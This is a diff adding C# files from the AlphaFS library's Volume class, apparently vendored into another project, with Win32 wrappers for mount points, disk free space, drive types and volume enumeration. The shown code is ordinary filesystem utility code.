/// </param>
/// <param name="exactMatch">
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
/// </param>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
public static void DeleteDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)
{
DefineDosDeviceCore(false, deviceName, targetPath, deviceAttributes, exactMatch);
}
}
}

View File

@@ -0,0 +1,95 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Runtime.InteropServices;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Deletes a Drive letter or mounted folder.</summary>
/// <remarks>Deleting a mounted folder does not cause the underlying directory to be deleted.</remarks>
/// <remarks>
/// If the <paramref name="volumeMountPoint"/> parameter is a directory that is not a mounted folder, the function does nothing. The
/// directory is not deleted.
/// </remarks>
/// <remarks>
/// It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume
/// mount point.
/// </remarks>
/// <param name="volumeMountPoint">The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\.</param>
[SecurityCritical]
public static void DeleteVolumeMountPoint(string volumeMountPoint)
{
DeleteVolumeMountPointCore(null, volumeMountPoint, false, false, PathFormat.RelativePath);
}
/// <summary>Deletes a Drive letter or mounted folder.
/// <remarks>
/// <para>It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume mount point.</para>
/// <para>Deleting a mounted folder does not cause the underlying directory to be deleted.</para>
/// </remarks>
/// </summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="NotSupportedException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="volumeMountPoint">The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\.</param>
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
/// <param name="continueIfJunction"><c>true</c> suppress an exception due to this mount point being a Junction.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void DeleteVolumeMountPointCore(KernelTransaction transaction, string volumeMountPoint, bool continueOnException, bool continueIfJunction, PathFormat pathFormat)
{
if (pathFormat != PathFormat.LongFullPath)
Path.CheckSupportedPathFormat(volumeMountPoint, true, true);
volumeMountPoint = Path.GetExtendedLengthPathCore(transaction, volumeMountPoint, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
// DeleteVolumeMountPoint()
// 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
// A trailing backslash is required.
var success = NativeMethods.DeleteVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeMountPoint, false));
var lastError = Marshal.GetLastWin32Error();
if (!success && !continueOnException)
{
if (lastError == Win32Errors.ERROR_INVALID_PARAMETER && continueIfJunction)
return;
if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND)
lastError = (int)Win32Errors.ERROR_PATH_NOT_FOUND;
NativeError.ThrowException(lastError, volumeMountPoint);
}
}
}
}
}

View File

@@ -0,0 +1,63 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS]
/// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total
/// amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
/// </summary>
/// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>
/// <param name="drivePath">
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <returns>A <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> class instance.</returns>
[SecurityCritical]
public static DiskSpaceInfo GetDiskFreeSpace(string drivePath)
{
return new DiskSpaceInfo(drivePath, null, true, true);
}
/// <summary>[AlphaFS]
/// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total
/// amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
/// </summary>
/// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>
/// <param name="drivePath">
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <param name="spaceInfoType">
/// <c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information,
/// <c>false</c> Get only size information.
/// </param>
/// <returns>A <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> class instance.</returns>
[SecurityCritical]
public static DiskSpaceInfo GetDiskFreeSpace(string drivePath, bool? spaceInfoType)
{
return new DiskSpaceInfo(drivePath, spaceInfoType, true, true);
}
}
}

View File

@@ -0,0 +1,58 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Determines the disk <see cref="DriveType"/>, based on the root of the current directory.</summary>
/// <returns>A <see cref="DriveType"/> enum value.</returns>
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
[SecurityCritical]
public static DriveType GetCurrentDriveType()
{
return GetDriveType(null);
}
/// <summary>[AlphaFS] Determines the disk <see cref="DriveType"/>.</summary>
/// <param name="drivePath">A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\"</param>
/// <returns>A <see cref="DriveType"/> enum value.</returns>
[SecurityCritical]
public static DriveType GetDriveType(string drivePath)
{
// drivePath is allowed to be == null.
drivePath = Path.AddTrailingDirectorySeparator(drivePath, false);
// ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
return NativeMethods.GetDriveType(drivePath);
}
}
}

View File

@@ -0,0 +1,91 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="String"/> of all mounted folders (volume mount points) on the specified volume. </summary>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="ArgumentException"/>
/// <param name="volumeGuid">A <see cref="string"/> containing the volume <see cref="Guid"/>.</param>
/// <returns>An enumerable collection of <see cref="String"/> of all volume mount points on the specified volume.</returns>
[SecurityCritical]
public static IEnumerable<string> EnumerateVolumeMountPoints(string volumeGuid)
{
if (Utils.IsNullOrWhiteSpace(volumeGuid))
throw new ArgumentNullException("volumeGuid");
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
// A trailing backslash is required.
volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);
var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
using (var handle = NativeMethods.FindFirstVolumeMountPoint(volumeGuid, buffer, (uint)buffer.Capacity))
{
var lastError = Marshal.GetLastWin32Error();
if (!NativeMethods.IsValidHandle(handle, false))
{
switch ((uint)lastError)
{
case Win32Errors.ERROR_NO_MORE_FILES:
case Win32Errors.ERROR_PATH_NOT_FOUND: // Observed with USB stick, FAT32 formatted.
yield break;
default:
NativeError.ThrowException(lastError, volumeGuid);
break;
}
}
yield return buffer.ToString();
while (NativeMethods.FindNextVolumeMountPoint(handle, buffer, (uint)buffer.Capacity))
{
lastError = Marshal.GetLastWin32Error();
var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;
if (!NativeMethods.IsValidHandle(handle, lastError, volumeGuid, throwException))
yield break;
yield return buffer.ToString();
}
}
}
}
}

View File

@@ -0,0 +1,90 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="string"/> drive letters and mounted folder paths for the specified volume.</summary>
/// <returns>An enumerable collection of <see cref="string"/> containing the path names for the specified volume.</returns>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="ArgumentException"/>
/// <param name="volumeGuid">A volume <see cref="Guid"/> path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\.</param>
[SecurityCritical]
public static IEnumerable<string> EnumerateVolumePathNames(string volumeGuid)
{
if (Utils.IsNullOrWhiteSpace(volumeGuid))
throw new ArgumentNullException("volumeGuid");
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
var volName = Path.AddTrailingDirectorySeparator(volumeGuid, false);
uint requiredLength = 10;
var cBuffer = new char[requiredLength];
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
while (!NativeMethods.GetVolumePathNamesForVolumeName(volName, cBuffer, (uint)cBuffer.Length, out requiredLength))
{
var lastError = Marshal.GetLastWin32Error();
switch ((uint)lastError)
{
case Win32Errors.ERROR_MORE_DATA:
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
cBuffer = new char[requiredLength];
break;
default:
NativeError.ThrowException(lastError, volumeGuid);
break;
}
}
var buffer = new StringBuilder(cBuffer.Length);
foreach (var c in cBuffer)
{
if (c != Path.StringTerminatorChar)
buffer.Append(c);
else
{
if (buffer.Length > 0)
{
yield return buffer.ToString();
buffer.Length = 0;
}
}
}
}
}
}

View File

@@ -0,0 +1,68 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="String"/> volumes on the computer.</summary>
/// <returns>An enumerable collection of <see cref="String"/> volume names on the computer.</returns>
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
[SecurityCritical]
public static IEnumerable<string> EnumerateVolumes()
{
var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
using (var handle = NativeMethods.FindFirstVolume(buffer, (uint)buffer.Capacity))
{
var lastError = Marshal.GetLastWin32Error();
var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND;
if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))
yield break;
yield return buffer.ToString();
while (NativeMethods.FindNextVolume(handle, buffer, (uint)buffer.Capacity))
{
lastError = Marshal.GetLastWin32Error();
throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;
if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))
yield break;
yield return buffer.ToString();
}
}
}
}
}

View File

@@ -0,0 +1,44 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Diagnostics.CodeAnalysis;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Gets the name of the file system, such as NTFS or FAT32.</summary>
/// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>
/// <param name="drivePath">
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <returns>The name of the file system on the specified drive or <c>null</c> on failure or if not available.</returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
public static string GetDriveFormat(string drivePath)
{
var fsName = new VolumeInfo(drivePath, true, true).FileSystemName;
return Utils.IsNullOrWhiteSpace(fsName) ? null : fsName;
}
}
}

View File

@@ -0,0 +1,44 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Gets the drive letter from an MS-DOS device name. For example: "\Device\HarddiskVolume2" returns "C:\".</summary>
/// <param name="deviceName">An MS-DOS device name.</param>
/// <returns>The drive letter from an MS-DOS device name.</returns>
[SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")]
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")]
public static string GetDriveNameForNtDeviceName(string deviceName)
{
return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)
where drive.DosDeviceName.Equals(deviceName, StringComparison.OrdinalIgnoreCase)
select drive.Name).FirstOrDefault();
}
}
}

View File

@@ -0,0 +1,58 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Get the unique volume name for the given path.</summary>
/// <exception cref="ArgumentNullException"/>
/// <param name="volumePathName">
/// A path string. Both absolute and relative file and directory names, for example "..", is acceptable in this path. If you specify a
/// relative file or directory name without a volume qualifier, GetUniqueVolumeNameForPath returns the Drive letter of the current
/// volume.
/// </param>
/// <returns>
/// <para>Returns the unique volume name in the form: "\\?\Volume{GUID}\",</para>
/// <para>or <c>null</c> on error or if unavailable.</para>
/// </returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
public static string GetUniqueVolumeNameForPath(string volumePathName)
{
if (Utils.IsNullOrWhiteSpace(volumePathName))
throw new ArgumentNullException("volumePathName");
try
{
return GetVolumeGuid(GetVolumePathName(volumePathName));
}
catch
{
return null;
}
}
}
}

View File

@@ -0,0 +1,42 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Retrieves the Win32 Device name from the Volume name.</summary>
/// <returns>The Win32 Device name from the Volume name, for example: "\Device\HarddiskVolume2", or <c>null</c> on error or if unavailable.</returns>
/// <remarks>This is the same method as <see cref="Volume.QueryDosDevice"/>.</remarks>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="FileNotFoundException"/>
/// <param name="volumeName">Name of the Volume.</param>
[SecurityCritical]
public static string GetVolumeDeviceName(string volumeName)
{
return QueryDosDevice(volumeName);
}
}
}

View File

@@ -0,0 +1,56 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Gets the shortest display name for the specified <paramref name="volumeName"/>.</summary>
/// <remarks>This method basically returns the shortest string returned by <see cref="EnumerateVolumePathNames"/></remarks>
/// <param name="volumeName">A volume <see cref="Guid"/> path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\.</param>
/// <returns>
/// The shortest display name for the specified volume found, or <c>null</c> if no display names were found.
/// </returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
public static string GetVolumeDisplayName(string volumeName)
{
string[] smallestMountPoint = { new string(Path.WildcardStarMatchAllChar, NativeMethods.MaxPathUnicode) };
try
{
foreach (var m in EnumerateVolumePathNames(volumeName).Where(m => !Utils.IsNullOrWhiteSpace(m) && m.Length < smallestMountPoint[0].Length))
smallestMountPoint[0] = m;
}
catch
{
}
var result = smallestMountPoint[0][0] == Path.WildcardStarMatchAllChar ? null : smallestMountPoint[0];
return Utils.IsNullOrWhiteSpace(result) ? null : result;
}
}
}

View File

@@ -0,0 +1,91 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS]
/// Retrieves a volume <see cref="Guid"/> path for the volume that is associated with the specified volume mount point (drive letter,
/// volume GUID path, or mounted folder).
/// </summary>
/// <exception cref="ArgumentNullException"/>
/// <param name="volumeMountPoint">
